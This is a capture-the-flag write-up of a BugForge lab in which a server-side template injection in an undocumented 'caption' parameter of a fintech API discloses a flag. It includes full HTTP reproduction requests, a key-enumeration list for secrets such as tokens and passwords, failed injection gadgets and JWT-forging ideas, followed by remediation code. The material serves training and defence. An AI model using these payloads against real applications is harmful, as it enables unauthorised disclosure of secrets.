Shady Oaks Financial: Server-Side Template Injection via Undocumented Parameter
Part 1: Pentest Report
Executive Summary
Shady Oaks Financial is a European fintech single-page application (React + MUI) backed by a Node.js/Express JSON API, using JWT HS256 bearer tokens for authentication. Testing found one confirmed vulnerability: the forecast endpoint renders a user-supplied caption string as a server-side template against an internal context object that includes the flag, allowing any authenticated user to disclose it with a single request.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Server-side template injection via undocumented caption parameter |
Medium | 6.5 | CWE-1336, CWE-134, CWE-200 | POST /api/forecast/indicator |
The caption parameter is not exposed by the frontend, which never sends it. The server nonetheless renders any caption value a client submits as a single-brace {key} template, resolving keys against a context object that includes the flag. A freshly registered low-privilege account (role=user, is_premium=1 by default) can read the flag by sending caption:"{flag}", with no privilege escalation and no victim interaction.
Objective
Assess the Shady Oaks Financial web application from an unauthenticated starting position and recover the flag (BugForge easy lab, solo engagement).
Scope / Initial Access
# Target Application
URL: https://lab-1783878174911-rxoof1.labs-app.bugforge.io/
# Auth details
# Open self-registration via POST /api/register mints a JWT immediately.
# Token: JWT HS256, payload {id, username, role, iat}, stored in localStorage,
# sent as Authorization: Bearer.
# A fresh account starts as role=user with is_premium=1 (default).
Registration is open and returns a usable session token in the response body, so any attacker can obtain an authenticated role=user account without approval.
Reconnaissance: mapping the API from the exposed source map and response envelopes
The client is a React/MUI single-page application that shipped with its source map (main.799d296b.js.map), which exposed the client routes and the API surface directly. From there the API was mapped by registering an account, exercising each endpoint, and diffing the full response envelopes against the fields the client actually consumes.
- The SPA bundle shipped with its source map, exposing client routes and the full API surface without guesswork.
- Authentication is JWT HS256 held in localStorage and sent as
Authorization: Bearer; the payload is{id, username, role, iat}, and a freshly registered account isrole=user. - Registration returns a user object with
is_premium:1by default, so the premium Forecast feature is reachable by any account with no privilege escalation. - Admin endpoints return
403 "Admin access required"with a user token and401when anonymous, so role is enforced server-side; the client/adminroute gate is not an access boundary. - The forecast endpoint
POST /api/forecast/indicatoraccepts aformulafield evaluated server-side, and its response carries acaption:"{value}"field that the frontend never sends: a server-attached template placeholder returned un-substituted.
Observation 5 was the pivot. A response field the client never populates, containing a template-looking string, is the tell that motivated the finding below.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node.js / Express; JSON responses; weak (W/) ETags |
| Frontend | React + MUI single-page application; source map exposed |
| Auth | JWT HS256 in localStorage, Authorization: Bearer; session bootstrap via GET /api/verify-token |
| Database | Not directly observable from the client; the app exposes stock records (ids 1-5) and per-user EUR/USD/GBP balances |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/register | POST | None | Mints JWT; accepts full body |
| /api/login | POST | None | Mints JWT |
| /api/forgot-password | POST | None | Password reset request |
| /api/reset-password | POST | None (reset token) | Password reset |
| /api/verify-token | GET | Bearer | Session bootstrap |
| /api/profile | GET / PUT | Bearer | Profile read / update |
| /api/portfolio | GET | Bearer | User portfolio |
| /api/portfolio/share | POST | Bearer | Returns share_token (UUIDv4) |
| /api/public/portfolio/:token | GET | None (token) | Public portfolio view |
| /api/forecast/indicator | POST | Bearer | F1: caption template injection |
| /api/admin/stats | GET | Bearer + role=admin | 403 user / 401 anon |
| /api/admin/users | GET | Bearer + role=admin | 403 user / 401 anon |
| /api/admin/transactions | GET | Bearer + role=admin | 403 user / 401 anon |
| /api/admin/stocks/:id/trend | PUT | Bearer + role=admin | Role-gated |
Known Users
| Username | ID | Role |
|---|---|---|
| dtooth_t1 (our test account) | 4 | user |
Attack Chain Visualization
┌──────────────────┐ ┌───────────────────────┐ ┌────────────────────────┐ ┌───────────────────────┐
│ Register account │ │ POST forecast/ │ │ Send user-controlled │ │ caption = "{flag}" │
│ (open signup) │──▶│ indicator; response │──▶│ caption; {value} │──▶│ server resolves key │
│ JWT role=user │ │ echoes caption: │ │ resolves to computed │ │ and returns the flag │
│ is_premium=1 │ │ "{value}" (FE never │ │ number (server-side │ │ bug{...} │
│ │ │ sends caption) │ │ substitution) │ │ │
└──────────────────┘ └───────────────────────┘ └────────────────────────┘ └───────────────────────┘
Findings
F1: Server-side template injection via undocumented caption parameter
Severity: Medium
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), CWE-134 (Use of Externally-Controlled Format String), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
Endpoint: POST /api/forecast/indicator
Authentication required: Yes (any registered user)
Severity rationale: The vector above uses PR:L because a registered account is required, computing to 6.5, and the finding is rated Medium to match. Because self-registration is open and grants that account for free, treating it as no real barrier (PR:N) yields 7.5 (High); that is the more representative figure for real-world exposure, since any attacker can obtain the account with no approval. In the CTF-objective frame, where the disclosed context key is the designated flag, reading it is the engagement objective.
Description
The forecast endpoint accepts a formula field (evaluated server-side) and returns a caption field. By default the response contains caption:"{value}", a placeholder the frontend never submits and renders client-side. When a client instead submits its own caption string, the server renders it as a single-brace {key} template and resolves each {key} against an internal context object. That context object includes the flag key (the tested keys price, secret, and username were absent). There is no allowlist restricting which keys a caption may reference, so a caption of {flag} resolves to the flag value. Genuine context lookup (rather than plain reflection) is confirmed by selective resolution: keys present in the context resolve to their values, unknown keys pass through literally, and a double brace {{value}} collapses to {42}.
Impact
Any authenticated low-privilege user can read any key present in the forecast template context, including the flag, with a single request.
Reproduction
Step 1: Register an account and capture the token
POST /api/register HTTP/2
Host: lab-1783878174911-rxoof1.labs-app.bugforge.io
Content-Type: application/json
{"username":"dtooth_t1","email":"[email protected]","password":"Passw0rd!23","full_name":"D Tooth"}
Response:
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","user":{"id":4,"username":"dtooth_t1","email":"[email protected]","full_name":"D Tooth","balance_eur":1000,"balance_usd":0,"balance_gbp":0,"role":"user","is_premium":1}}
The response mints a JWT and shows role:"user" with is_premium:1, so the premium Forecast feature is reachable immediately.
Step 2: Baseline forecast request (no caption sent)
POST /api/forecast/indicator HTTP/2
Host: lab-1783878174911-rxoof1.labs-app.bugforge.io
Authorization: Bearer <JWT (role=user)>
Content-Type: application/json
{"stock_id":1,"formula":"max(1,2)"}
Response:
{"stock":{"id":1,"symbol":"OAKLEAF","name":"Oakleaf Holdings"},"formula":"max(1,2)","value":2,"caption":"{value}"}
The server returns caption:"{value}" un-substituted even though the request never sent a caption. This is a server-attached template placeholder.
Step 3: Confirm server-side substitution and selective key resolution
Submitting a user-controlled caption shows the server rendering it against a context object. The observed behavior across caption inputs (all sent with formula:"7*6", so {value} resolves to 42):
| caption sent | server returns | interpretation |
|---|---|---|
{value} |
42 |
key present in context, resolves to the computed value |
{price}, {secret}, {username} |
returned literally | keys absent from context, pass through |
{{value}} |
{42} |
single-brace replacement, outer braces remain |
Known keys resolve while unknown keys pass through verbatim. That selectivity confirms genuine context lookup, not reflection of the submitted string.
Step 4: Disclose the flag
POST /api/forecast/indicator HTTP/2
Host: lab-1783878174911-rxoof1.labs-app.bugforge.io
Authorization: Bearer <JWT (role=user)>
Content-Type: application/json
{"stock_id":1,"formula":"7*6","caption":"{flag}"}
Response:
{"stock":{"id":1,"symbol":"OAKLEAF","name":"Oakleaf Holdings"},"formula":"7*6","value":42,"caption":"bug{hLGMgAY1j6z5QRom0jNhmQZ2ko0u7Gj6}"}
The caption field returns bug{hLGMgAY1j6z5QRom0jNhmQZ2ko0u7Gj6}. The value was not in the request; the server resolved {flag} from its context.
Remediation
Fix 1: Restrict the template to an allowlist of presentation keys and keep secrets out of the render context
// BEFORE (Vulnerable)
// Renders a user-supplied caption against the entire context object,
// which includes secrets such as `flag`.
function renderCaption(caption, context) {
return caption.replace(/\{(\w+)\}/g, (match, key) =>
key in context ? context[key] : match
);
}
const context = { value: computed, flag: process.env.FLAG /* ...secrets... */ };
res.json({ /* ... */, caption: renderCaption(req.body.caption ?? '{value}', context) });
// AFTER (Secure)
// Only a fixed allowlist of presentation keys is available to the template,
// and the render context never contains secrets.
const ALLOWED_KEYS = ['value', 'symbol', 'name'];
function renderCaption(caption, view) {
return caption.replace(/\{(\w+)\}/g, (match, key) =>
ALLOWED_KEYS.includes(key) ? String(view[key]) : match
);
}
const view = { value: computed, symbol: stock.symbol, name: stock.name };
res.json({ /* ... */, caption: renderCaption(req.body.caption ?? '{value}', view) });
Additional recommendations:
- Never render a user-controlled string against an object that also holds secrets; keep the presentation view model separate from server secrets.
- If captions are purely presentational, drop server-side rendering and let the client format
{value}locally. - Validate request bodies against a schema so undocumented fields such as
captionare rejected rather than silently processed. - Enforce the premium entitlement server-side so premium features are not reachable by default free accounts, and treat inputs to any premium or gated feature as untrusted.
OWASP Top 10 Coverage
- A03:2021 Injection: The
captionparameter is a user-controlled string rendered as a server-side template against an internal context object, with no neutralization or key allowlist. - A01:2021 Broken Access Control: A freshly registered account carries
is_premium:1by default, exposing the premium Forecast feature (and its vulnerable endpoint) to every free user, and the template context discloses the flag to any authenticated user. - A04:2021 Insecure Design: An undocumented input the frontend never sends is wired to render against a raw context object that includes secrets, sitting beside a deliberately hardened decoy parser.
Tools Used
| Tool | Purpose |
|---|---|
| curl | Direct HTTP requests and response capture |
| Firefox Developer Tools | SPA reconnaissance; reading the exposed source map |
| Manual JWT decode | Inspecting the HS256 token payload (id, username, role, iat) |
References
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
- CWE-134: Use of Externally-Controlled Format String
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- OWASP Top 10 2021: A03 Injection
- PortSwigger: Server-side template injection
Part 2: Notes / Knowledge
Key Learnings
-
Treat any response field the frontend never sends as an undocumented user-controllable input, and test sending it back. The frontend’s field list is not the API’s input list. Here the forecast response carried a
caption:"{value}"field the React client never populates or submits; sending it back with attacker-chosen content was the entire solve. Diff the full response envelope against the fields the client actually consumes, and for every extra field (config echoes, template-looking strings, defaulted flags) send it in the request and watch whether the server processes it by substituting, evaluating, storing, or reflecting. Developers routinely leave server-side sinks wired to inputs the UI never exercises. -
When a bespoke evaluator proves hardened, don’t declare the feature clean: attack its sibling parameters on the same endpoint. A deliberately hardened primary parser draws attention away from a softer adjacent input in the same handler. The forecast endpoint’s
formulafield was a whitelist recursive-descent math parser that rejected2**3, property access, quotes, and everyprocessorconstructorgadget, so the code-execution branch was closed. The flag lived in thecaptionparameter accepted by the same request. When the obvious injection surface locks down, pivot to the other parameters the same handler accepts (caption, label, title, format, template fields) and test them for a different injection class. A safe parser next to a soft sibling field is a common split. -
When a user-controllable string is rendered as a
{key}/{{ }}template against server context, enumerate secret-bearing keys and use selective resolution to confirm it’s real. Once a field you control comes back with brace tokens substituted, enumerate secret keys such as{flag},{secret},{token},{password},{env}, and{config}. The proof that you have a genuine context lookup rather than plain reflection is selective resolution: keys present in the context resolve to values while unknown keys pass through literally, and a double brace collapses to a single one. In this lab{value}resolved to the computed number and{flag}to the flag, while{price},{secret}, and{username}came back verbatim and{{value}}became{42}. That selectivity distinguishes a template rendered against an internal object (which over-exposes whatever keys it holds) from a harmless echo.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
formula expression injection for code execution (2**3, 2^3, Math.PI, Math.max(1,2), "7"+6, process, constructor, cos.constructor) |
All rejected with parser errors (“Unexpected token”, “Invalid character”, “Unknown variable”) | formula is a hardened whitelist recursive-descent parser (price/sma/ema/min/max/avg only); no eval or mathjs, so no code-execution path |
| Direct admin access with the user token (GET /api/admin/users, /stats, /transactions) | 403 "Admin access required" (401 when anonymous) |
Admin authorization is enforced server-side; the client-only /admin route gate is not a real access boundary |
| Enumerate a shared portfolio (GET /api/public/portfolio/:token) | share_token is a UUIDv4 | Not brute-enumerable; no IDOR on the token |
| JWT forge to role=admin (alg:none / weak secret / algorithm confusion) | Not pursued | Untested lead; the flag was obtained via the caption sink first |
| Mass assignment of role / is_premium / balance on POST /api/register or PUT /api/profile | Not pursued | Untested lead; the disclosure did not require privilege escalation |
Tags: #ssti #template-injection #format-string #information-disclosure #bugforge #webapp
Document Version: 1.0
Last Updated: 2026-07-14